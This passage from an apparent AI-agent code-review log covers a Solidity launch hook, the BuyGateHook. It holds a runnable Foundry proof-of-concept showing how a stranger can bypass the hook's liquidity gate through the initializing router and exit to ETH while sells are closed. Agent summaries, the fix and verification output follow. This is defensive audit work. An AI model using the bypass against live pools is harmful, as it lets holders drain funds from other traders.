PoolModifyLiquidityTest {\n    constructor(IPoolManager _manager) PoolModifyLiquidityTest(_manager) {}\n\n    function initializePool(PoolKey memory key, uint160 sqrtPriceX96) external {\n        manager.initialize(key, sqrtPriceX96);\n    }\n}\n\n/// @notice Finding: when the pool is initialized through a shared router, `beforeInitialize` records that\n/// router as `initializer`, and `beforeAddLiquidity` then admits every position that router forwards, from\n/// anyone, forever. The one-sided resting-sell-order exit that the liquidity gate was added to close is\n/// open again: a holder adds SURF just below the price, a buy fills it, the holder removes and keeps ETH,\n/// on day 0, with no vote and no cap.\n///\n/// Fails on the current code (alice ends with ETH). Passes once a stranger's add through the initializing\n/// router is refused, e.g. by admitting positions only in the initialization transaction, or by a rule\n/// that does not treat \"the router that called initialize\" as the launch.\ncontract SharedRouterInitializerProof is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    int24 constant MIN_TICK = -887_220;\n    int24 constant MAX_TICK = 887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    SharedLaunchRouter router;\n    PoolSwapTest swapRouter;\n    PoolKey key;\n\n    address alice = makeAddr(\"alice\");\n    address bob = makeAddr(\"bob\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        router = new SharedLaunchRouter(IPoolManager(address(manager)));\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n\n        // The launch initializes and seeds through the shared router, in one transaction.\n        router.initializePool(key, SQRT_PRICE_1_1);\n        token.approve(address(router), type(uint256).max);\n        vm.deal(address(this), 20_000 ether);\n        router.modifyLiquidity{value: 10_100 ether}(\n            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), \"\"\n        );\n        assertEq(hook.initializer(), address(router), \"the router, not the launch, is the initializer\");\n    }\n\n    function deployHook() internal returns (BuyGateHook) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP\n            | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        return new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_holderCannotExitToEthThroughTheInitializingRouterWhileSellsAreClosed() public {\n        token.transfer(alice, 1_000 ether);\n        vm.deal(bob, 10_000 ether);\n        assertEq(alice.balance, 0);\n        assertFalse(hook.sellWindowOpen(), \"day 0: sells are closed\");\n\n        // Alice, a stranger to the launch, parks SURF just below the price through the shared router.\n        // Expected: refused with LiquidityNotFromLaunch. Actual: accepted, because the router initialized.\n        vm.startPrank(alice);\n        token.approve(address(router), type(uint256).max);\n        (bool added,) = address(router)\n            .call(\n                abi.encodeWithSignature(\n                    \"modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\n                    key,\n                    ModifyLiquidityParams(-60, 0, 333_000 ether, bytes32(uint256(1))),\n                    \"\"\n                )\n            );\n        vm.stopPrank();\n\n        // Bob buys; a buy walks the price down through alice's range and converts her SURF into ETH.\n        vm.prank(bob);\n        swapRouter.swap{value: 2_000 ether}(\n            key,\n            SwapParams(true, -1_200 ether, TickMath.MIN_SQRT_PRICE + 1),\n            PoolSwapTest.TestSettings(false, false),\n            \"\"\n        );\n\n        // Alice unwinds whatever position she holds.\n        if (added) {\n            vm.prank(alice);\n            (bool removed,) = address(router)\n                .call(\n                    abi.encodeWithSignature(\n                        \"modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\n                        key,\n                        ModifyLiquidityParams(-60, 0, -333_000 ether, bytes32(uint256(1))),\n                        \"\"\n                    )\n                );\n            assertTrue(removed, \"removal is not gated\");\n        }\n\n        assertFalse(hook.sellWindowOpen(), \"still day 0, still closed\");\n        assertEq(alice.balance, 0, \"a holder turned SURF into ETH while sells were closed\");\n        assertEq(token.balanceOf(alice), 1_000 ether, \"the holder's SURF left her hands without a sell window\");\n    }\n}","reproduction":"Fresh PoolManager; hook at a 0x28C0 address; SharedLaunchRouter = PoolModifyLiquidityTest plus an `initializePool` that forwards `manager.initialize`. Launch: router.initializePool(ETH/SURF, 3000, 60, 1:1), then router.modifyLiquidity full range 10,000 liquidity. hook.initializer() == router. Alice holds 1,000 SURF and 0 ETH; sells are closed (day 0). Alice calls router.modifyLiquidity(ticks -60..0, +333,000e18 liquidity). Expected: revert LiquidityNotFromLaunch. Actual: accepted. Bob buys with 1,200 ETH exact-in; alice calls router.modifyLiquidity(-60..0, -333,000e18). Expected: alice.balance == 0 and 1,000 SURF. Actual: alice.balance == 1003.46 ETH, SURF balance below 1,000, sellWindowOpen() still false. Run: forge test --match-path test/scratch/SharedRouterInitializer.t.sol","severity":"medium","title":"A pool initialized through a shared router hands the liquidity gate to every user of that router"}],"hash":"cf8e442a7fb22a7dc3f0fb82ce039488190b5a50656965f44dd834d14474ccdb","nodeId":"721f3c5e-0d51-47c2-9ea3-263fac57a2f1","outcome":"completed","summary":"All work is complete and verified. Recap:\n\n**Why the revision was needed.** The implementer's revision, merged after my previous round, inserted two storage variables ahead of the per-day records mapping. Two of my allowance-arithmetic tests wrote that mapping through a hard-coded storage slot, so they failed against the current hook. Everything else in my suites, including all nine invariants, still held.\n\n**What I changed in `test/BuyGateHookEdge.t.sol`:**\n- The slot helper now locates the field through forge-std's `stdstore` instead of a hard-coded slot, so future layout changes cannot silently misdirect it.\n- Refreshed the header note. The two defects I reported last round were fixed in the implementation.\n- Added eight tests on the new surface: forged hook data cannot impersonate the launch, a one-wei stranger add is refused, the seeded latch survives the launch removing all liquidity, the gate on an unbound hook reverts, the first-position exception is exactly one position wide, a vote inside an unlock is refused even without a flash take, and deposit and withdraw inside an unlock still work and touch no tally.\n\n**What I changed in `test/BuyGateHookInvariant.t.sol`:**\n- Two new handler actions: random stranger liquidity adds across fuzzed ranges, and a flash vote from inside an unlock after taking the manager's whole token balance.\n- Three new invariants: pool liquidity is always exactly the launch seed, the handler's stake is never moved or locked by a flash vote, and the stake sum now includes the handler's own one-wei stake.\n\n**One finding reported** in `.imd-findings.json` at medium severity, with a runnable proof under `test/scratch/`. If the launch initializes the pool through a shared router such as a PositionManager or a factory with a public liquidity entry point, that router becomes the recorded initializer and every position it forwards passes the gate forever. The resting-sell-order exit from the previous review then reopens. The proof fails on the current code and passes on a scratch copy of the hook that admits positions only during the initialization transaction, which is the fix I suggested.\n\n**Verification.** The full suite outside scratch passes.\n\n| Suite | Result |\n| --- | --- |\n| All suites under `test/` excluding scratch | 106 passed, 0 failed |\n| Invariant run | 128 runs, 7,680 calls, 0 reverts |\n| Scratch proof on current code | fails as intended |\n\nNothing outside `test/` was modified. The findings file is excluded from git by the harness, as expected, and I did not commit, matching the previous rounds where the harness commits.","treeHash":"3a85b91a69320458b489de07ce9067a9bab134b8","usage":{"cachedInputTokens":2383660,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":44544,"runtime":"claude","turns":48,"wallClockMs":705848}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"30a6c1a419ef4f9c","findings":[],"hash":"cfe0ea61994cc1420f5939e64c982c08b40fe8a35d62981a8c434e8830b11dcf","nodeId":"6cbb8004-4e5a-4298-b189-9919cbce1087","outcome":"failed","summary":"runtime reported claude-opus-4-8, not the required premium model claude-fable-5-1","treeHash":null,"usage":{"cachedInputTokens":2094125,"inputTokens":214,"model":"claude-opus-4-8","outputTokens":71089,"runtime":"claude","turns":34,"wallClockMs":1082793}},{"artifacts":[],"attempt":1,"bundleHash":"969a3456f8fd41713b561ea90d086ecb99f9878ca317b9fcebcce494205dc8bc","device":"468e82a89b9bfe18","findings":[],"hash":"d11f82b2826dcab69c9e31a7daf440266078c283157c7c7d3a420fcd58a57b01","nodeId":"8d9364dd-6564-4a69-8ff4-ad22509f6fb9","outcome":"completed","summary":"The finding reproduced and is fixed. The reviewer's proof now passes unchanged, and the responses file is written.\n\n**What reproduced.** Running the attached proof on the starting tree, a stranger's SURF-only position through the shared router that had initialized the pool was accepted. A buy filled it and the stranger left with about 1,003 ETH while sells were closed. The cause was the `sender == initializer` clause in `beforeAddLiquidity`: that address is the router that called `initialize`, so every later user of that router passed the gate.\n\n**What changed.**\n- `src/BuyGateHook.sol`: the initializer clause is removed. The gate is now `seeded && !inInitializationTransaction` and never consults `sender`. A position is accepted only inside the initialization transaction or as the pool's very first position. After the seed nobody can add, the launch and the initializing router included. `initializer` stays as a recorded address with no rights, so the ABI and event are unchanged.\n- `test/BuyGateHook.t.sol`: added a test that reproduces the reviewer's scenario on a fresh manager and expects the stranger's add to revert with `LiquidityNotFromLaunch`. The factory test now asserts the factory's own later add is refused too. Comments that described the old rule were corrected.\n- `README.md` and `REVIEW.md`: the liquidity rule, deployment table and operator duties now say the whole seed must go in the initialization transaction, that initializing through a shared router is safe, and that a later-transaction seed is exposed to a front-runner's dust position leaving the pool unseedable. Review item 14 records the finding and fix.\n- `.imd-responses.json`: one entry, verdict `fixed`, with the reproduction numbers and the change.\n\n**Verification.** Offline build, 58 tests including the unchanged proof copy, format check, and the chain-id-0 rehearsal script all pass. Both pinned protected suites pass against the revised hook when run from scratch with the creation code and flags 10432.\n\n**For the deployer.** The seed can no longer be topped up after launch by anyone, so the factory must size and place all liquidity in the initialization transaction.","treeHash":"76d525aa3454a54f0acb10e4cb0048d926c1f560","usage":{"cachedInputTokens":1552463,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":25378,"runtime":"claude","turns":46,"wallClockMs":307114}},{"artifacts":[],"attempt":1,"bundleHash":"4cabf321cacb08a05f32accb324395c72b80df5dffb8cb0f43e90052e787579b","device":"0256823ae36e7900","findings":[],"hash":"f9b582f5053e72edea5fe73c7362062dbfc0ab3e36691d049ec0b859856338af","nodeId":"c5149e3f-4474-4afe-b186-f644adbb0205","outcome":"completed","summary":"Created [launch.json](/home/imd-worker/.identitymd/work/18a1a874-ecfe-44e9-82db-1dd937635160/c5149e3f-4474-4afe-b186-f644adbb0205/launch.json) matching the implementation.\n\n- Schema and permission checks passed.\n- Offline `forge build` passed.\n- All 56 tests passed, including protected checks.\n- Only `launch.json` changed outside permitted scratch files.","treeHash":"dbc6128bb02836269f203b01fe623da9a60a0f02","usage":{"cachedInputTokens":555904,"inputTokens":38730,"model":"gpt-6-astra","outputTokens":4610,"runtime":"codex","turns":4,"wallClockMs":223370}}],"verification":[{"checks":[{"durationMs":2439,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.31s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:254:5:\n    |\n254 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/BuyGateHook.sol:211:31\n    │\n211 │     function beforeInitialize(address sender, PoolKey calldata key, uint160) external onlyPoolManager returns (bytes4) {\n    │                               ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:225:9\n    │\n225 │         emit PoolBound(id, Currency.unwrap(key.currency1), block.timestamp, sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:245:13\n    │\n245 │             emit Seeded(sender);\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:325:13\n    │\n325 │         if (block.timestamp < until) revert StakeLocked(until);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:410:13\n    │\n410 │         if (block.timestamp >= dayStart(day) + SELL_WINDOW) return false;\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\n","passed":true},{"durationMs":156,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 6 tests for test/SurfToken.t.sol:SurfTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 85200, ~: 85636)\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 29945)\n[PASS] test_metadata() (gas: 29131)\n[PASS] test_noMintOrAdminEntryPoints() (gas: 144957)\n[PASS] test_transferMoreThanBalanceReverts() (gas: 34357)\n[PASS] test_transferMovesExactAmount() (gas: 86501)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 3.16ms (3.63ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployPlacesTheHookOnAFlaggedAddress() (gas: 2624479)\n[PASS] test_differentManagerGivesADifferentAddress() (gas: 17104895)\n[PASS] test_minedSaltIsDeterministicForADeployer() (gas: 1174479)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 19.38ms (20.82ms CPU time)\n\nRan 47 tests for test/BuyGateHook.t.sol:BuyGateHookTest\n[PASS] testFuzz_buysAreAlwaysAllowedAndRecorded(uint256,uint256) (runs: 256, μ: 227858, ~: 228946)\n[PASS] testFuzz_depositsAreAlwaysRecoverable(uint256,bool) (runs: 256, μ: 357457, ~: 273742)\n[PASS] testFuzz_majorityAndQuorumDecideTheVote(uint256,uint256) (runs: 256, μ: 876636, ~: 877937)\n[PASS] testFuzz_sellsNeverExceedHalfOfYesterdaysBuys(uint256,uint256,uint256) (runs: 256, μ: 727050, ~: 773886)\n[PASS] testFuzz_sellsOutsideTheWindowAlwaysFail(uint256) (runs: 256, μ: 648120, ~: 648248)\n[PASS] testFuzz_thirdPartyPositionsAreAlwaysRefused(int24,int24,uint128) (runs: 256, μ: 194023, ~: 194068)\n[PASS] test_addressCarriesExactlyTheDeclaredFlags() (gas: 17114)\n[PASS] test_buyExactInPassesAndIsRecorded() (gas: 213684)\n[PASS] test_buyExactOutPassesAndIsRecorded() (gas: 202178)\n[PASS] test_buyWorksOnATokensOnlyPool() (gas: 17259150)\n[PASS] test_buysAccumulatePerDay() (gas: 529633)\n[PASS] test_buysDuringTheWindowDoNotRaiseTheWindowsAllowance() (gas: 818459)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 121721)\n[PASS] test_constructorRefusesAnAddressWithoutTheFlags() (gas: 5844)\n[PASS] test_depositAndWithdrawWithoutVoting() (gas: 379043)\n[PASS] test_exactOutputSellIsCheckedAgainstTheAllowanceAfterTheSwap() (gas: 909511)\n[PASS] test_exactOutputSellRevertsWhenClosed() (gas: 244476)\n[PASS] test_firstPositionIsAcceptedFromAnyRouterOnlyOnce() (gas: 15736798)\n[PASS] test_hasVotedRemembersEveryDayAVoterVotedOn() (gas: 764265)\n[PASS] test_holderCannotExitThroughASingleSidedPositionWhileSellsAreClosed() (gas: 396805)\n[PASS] test_initializationBoundThePool() (gas: 65375)\n[PASS] test_initializationRefusesWrongFeeTickSpacingAndNonNativeQuote() (gas: 4698925)\n[PASS] test_launchCanRemoveAndReaddItsLiquidity() (gas: 237793)\n[PASS] test_launchSeedsSeveralPositionsInTheInitializationTransaction() (gas: 18352639)\n[PASS] test_passedVoteOpensSellsForOneHourAtHalfOfPreviousDaysBuys() (gas: 1132582)\n[PASS] test_passedVoteWithNoBuysOpensAnEmptyWindow() (gas: 515698)\n[PASS] test_poolManagerIsTheConstructorArgument() (gas: 7828)\n[PASS] test_quorumIsSnapshottedAtTheFirstVote() (gas: 983092)\n[PASS] test_runtimeCodeHasNoEscapeHatch() (gas: 3710658)\n[PASS] test_secondPoolIsRefused() (gas: 609043)\n[PASS] test_selfLiquidityWashCannotInflateBought() (gas: 410168)\n[PASS] test_sellLargerThanAllowanceIsRefusedUpFront() (gas: 651339)\n[PASS] test_sellRevertsOnDayZero() (gas: 244715)\n[PASS] test_sellRevertsWithoutAVote() (gas: 263793)\n[PASS] test_thirdPartyCannotAddLiquidityAfterTheSeed() (gas: 335651)\n[PASS] test_tieIsNotAMajority() (gas: 828897)\n[PASS] test_unboundHookRejectsGovernanceAndViews() (gas: 4078548)\n[PASS] test_unimplementedCallbacksRevertEvenForThePoolManager() (gas: 90391)\n[PASS] test_voteFailsBelowQuorum() (gas: 665605)\n[PASS] test_voteFailsWithoutMajority() (gas: 936789)\n[PASS] test_voteIsRefusedWhileTheManagerIsUnlocked() (gas: 1371534)\n[PASS] test_voteNeedsStake() (gas: 36894)\n[PASS] test_voteOncePerDayAndLockedUntilDayEnds() (gas: 547287)\n[PASS] test_voteWeightIsTheStakeAtVoteTime() (gas: 536489)\n[PASS] test_votesCanRepeatEveryDay() (gas: 1286486)\n[PASS] test_windowClosesAfterOneHour() (gas: 873220)\n[PASS] test_windowDoesNotCarryOverToTheNextDay() (gas: 651964)\nSuite result: ok. 47 passed; 0 failed; 0 skipped; finished in 56.27ms (286.16ms CPU time)\n\nRan 3 test suites in 57.12ms (78.80ms CPU time): 56 tests passed, 0 failed, 0 skipped (56 total tests)\n","passed":true},{"durationMs":48,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BuyGateHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"BuyGateHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"BuyGateHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"BuyGateHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"BuyGateHook.deposit(uint256)\",\"BuyGateHook.vote(bool)\",\"BuyGateHook.withdraw(uint256)\",\"SurfToken.approve(address,uint256)\",\"SurfToken.transfer(address,uint256)\",\"SurfToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":338,\"REVIEW.md\":160,\"foundry.toml\":22,\"remappings.txt\":5,\"script/Deploy.s.sol\":82,\"src/BuyGateHook.sol\":496,\"src/HookFlags.sol\":58,\"src/SurfToken.sol\":19,\"test/BuyGateHook.t.sol\":1120,\"test/Deploy.t.sol\":44,\"test/SurfToken.t.sol\":64,\"test/mocks/MockERC20.sol\":11,\"test/mocks/MockLaunchFactory.sol\":51},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":1031,"exitCode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/BuyGateHook.sol:388: BuyGateHook.circulatingSupply() (src/BuyGateHook.sol#388-391) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:368: BuyGateHook.currentDay() (src/BuyGateHook.sol#368-371) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:401: BuyGateHook.sellAllowance(uint256) (src/BuyGateHook.sol#401-404) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:374: BuyGateHook.dayStart(uint256) (src/BuyGateHook.sol#374-377) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:313: BuyGateHook.deposit(uint256) (src/BuyGateHook.sol#313-319) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:407: BuyGateHook.sellWindowOpen() (src/BuyGateHook.sol#407-412) uses a dangerous strict equality:\n[low/medium] missing-zero-check at src/BuyGateHook.sol:211: BuyGateHook.beforeInitialize(address,PoolKey,uint160).sender (src/BuyGateHook.sol#211) lacks a zero-check on :\n[low/medium] timestamp at src/BuyGateHook.sol:275: BuyGateHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/BuyGateHook.sol#275-304) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:236: BuyGateHook.beforeAddLiquidity(address,PoolKey,ModifyLiquidityParams,bytes) (src/BuyGateHook.sol#236-248) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:254: BuyGateHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/BuyGateHook.sol#254-270) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:368: BuyGateHook.currentDay() (src/BuyGateHook.sol#368-371) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:401: BuyGateHook.sellAllowance(uint256) (src/BuyGateHook.sol#401-404) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:211: BuyGateHook.beforeInitialize(address,PoolKey,uint160) (src/BuyGateHook.sol#211-228) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:374: BuyGateHook.dayStart(uint256) (src/BuyGateHook.sol#374-377) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:388: BuyGateHook.circulatingSupply() (src/BuyGateHook.sol#388-391) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:407: BuyGateHook.sellWindowOpen() (src/BuyGateHook.sol#407-412) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:313: BuyGateHook.deposit(uint256) (src/BuyGateHook.sol#313-319) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:322: BuyGateHook.withdraw(uint256) (src/BuyGateHook.sol#322-331) uses timestamp for comparisons","passed":true},{"durationMs":348,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/BuyGateHook.sol:345: Reentrancy: State change after external call\n[low] internal-function-used-once at src/HookFlags.sol:28: Internal Function Used Only Once (3 places)\n[low] large-numeric-literal at src/BuyGateHook.sol:69: Large Numeric Literal (2 places)\n[low] state-no-address-check at src/BuyGateHook.sol:221: Address State Variable Set Without Checks\n[low] unsafe-erc20-operation at src/BuyGateHook.sol:318: Unsafe ERC20 Operation (2 places)\n[low] unused-state-variable at src/BuyGateHook.sol:81: Unused State Variable","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"24786e19c3cbb7a9a14e4b4917548a173b969f10dd2e724b6778cc9b7508e7a9","verifiedTreeHash":"7ba660f45e6888c41d08e0fd53847858f519d6b4","verifierVersion":"0.1.0+61e9b7ca"},{"checks":[{"durationMs":2426,"exitCode":0,"name":"build","output":"Compiling 84 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.22s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:203:5:\n    |\n203 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:274:13\n    │\n274 │         if (block.timestamp < until) revert StakeLocked(until);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:353:13\n    │\n353 │         if (block.timestamp >= dayStart(day) + SELL_WINDOW) return false;\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\n","passed":true},{"durationMs":192,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 6 tests for test/SurfToken.t.sol:SurfTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 85499, ~: 86222)\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 29945)\n[PASS] test_metadata() (gas: 29131)\n[PASS] test_noMintOrAdminEntryPoints() (gas: 144957)\n[PASS] test_transferMoreThanBalanceReverts() (gas: 34357)\n[PASS] test_transferMovesExactAmount() (gas: 86501)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 4.21ms (4.91ms CPU time)\n\nRan 38 tests for test/BuyGateHook.t.sol:BuyGateHookTest\n[PASS] testFuzz_buysAreAlwaysAllowedAndRecorded(uint256,uint256) (runs: 256, μ: 227575, ~: 228894)\n[PASS] testFuzz_depositsAreAlwaysRecoverable(uint256,bool) (runs: 256, μ: 349921, ~: 273830)\n[PASS] testFuzz_majorityAndQuorumDecideTheVote(uint256,uint256) (runs: 256, μ: 869850, ~: 871246)\n[PASS] testFuzz_sellsNeverExceedHalfOfYesterdaysBuys(uint256,uint256,uint256) (runs: 256, μ: 719476, ~: 770493)\n[PASS] testFuzz_sellsOutsideTheWindowAlwaysFail(uint256) (runs: 256, μ: 644759, ~: 644888)\n[PASS] test_addressCarriesExactlyTheDeclaredFlags() (gas: 17107)\n[PASS] test_buyExactInPassesAndIsRecorded() (gas: 213651)\n[PASS] test_buyExactOutPassesAndIsRecorded() (gas: 202078)\n[PASS] test_buyWorksOnATokensOnlyPool() (gas: 9540525)\n[PASS] test_buysAccumulatePerDay() (gas: 529445)\n[PASS] test_buysDuringTheWindowDoNotRaiseTheWindowsAllowance() (gas: 815024)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 93654)\n[PASS] test_constructorRefusesAnAddressWithoutTheFlags() (gas: 5866)\n[PASS] test_depositAndWithdrawWithoutVoting() (gas: 379152)\n[PASS] test_exactOutputSellIsCheckedAgainstTheAllowanceAfterTheSwap() (gas: 906082)\n[PASS] test_exactOutputSellRevertsWhenClosed() (gas: 244429)\n[PASS] test_initializationBoundThePool() (gas: 50225)\n[PASS] test_initializationRefusesWrongFeeTickSpacingAndNonNativeQuote() (gas: 13125868)\n[PASS] test_passedVoteOpensSellsForOneHourAtHalfOfPreviousDaysBuys() (gas: 1129032)\n[PASS] test_passedVoteWithNoBuysOpensAnEmptyWindow() (gas: 512436)\n[PASS] test_poolManagerIsTheConstructorArgument() (gas: 7828)\n[PASS] test_quorumIsSnapshottedAtTheFirstVote() (gas: 976356)\n[PASS] test_runtimeCodeHasNoEscapeHatch() (gas: 3365567)\n[PASS] test_secondPoolIsRefused() (gas: 608969)\n[PASS] test_sellLargerThanAllowanceIsRefusedUpFront() (gas: 647985)\n[PASS] test_sellRevertsOnDayZero() (gas: 244690)\n[PASS] test_sellRevertsWithoutAVote() (gas: 263752)\n[PASS] test_tieIsNotAMajority() (gas: 822219)\n[PASS] test_unboundHookRejectsGovernanceAndViews() (gas: 12505598)\n[PASS] test_unimplementedCallbacksRevertEvenForThePoolManager() (gas: 90169)\n[PASS] test_voteFailsBelowQuorum() (gas: 662244)\n[PASS] test_voteFailsWithoutMajority() (gas: 930134)\n[PASS] test_voteNeedsStake() (gas: 36828)\n[PASS] test_voteOncePerDayAndLockedUntilDayEnds() (gas: 531605)\n[PASS] test_voteWeightIsTheStakeAtVoteTime() (gas: 533248)\n[PASS] test_votesCanRepeatEveryDay() (gas: 1262576)\n[PASS] test_windowClosesAfterOneHour() (gas: 869867)\n[PASS] test_windowDoesNotCarryOverToTheNextDay() (gas: 648616)\nSuite result: ok. 38 passed; 0 failed; 0 skipped; finished in 66.41ms (303.97ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployPlacesTheHookOnAFlaggedAddress() (gas: 28216878)\n[PASS] test_differentManagerGivesADifferentAddress() (gas: 31848426)\n[PASS] test_minedSaltIsDeterministicForADeployer() (gas: 52485659)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 80.95ms (164.18ms CPU time)\n\nRan 3 test suites in 81.53ms (151.57ms CPU time): 47 tests passed, 0 failed, 0 skipped (47 total tests)\n","passed":true},{"durationMs":54,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BuyGateHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"BuyGateHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"BuyGateHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"BuyGateHook.deposit(uint256)\",\"BuyGateHook.vote(bool)\",\"BuyGateHook.withdraw(uint256)\",\"SurfToken.approve(address,uint256)\",\"SurfToken.transfer(address,uint256)\",\"SurfToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":270,\"REVIEW.md\":94,\"foundry.toml\":22,\"remappings.txt\":5,\"script/Deploy.s.sol\":81,\"src/BuyGateHook.sol\":440,\"src/HookFlags.sol\":58,\"src/SurfToken.sol\":19,\"test/BuyGateHook.t.sol\":796,\"test/Deploy.t.sol\":44,\"test/SurfToken.t.sol\":64,\"test/mocks/MockERC20.sol\":11},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":1336,"exitC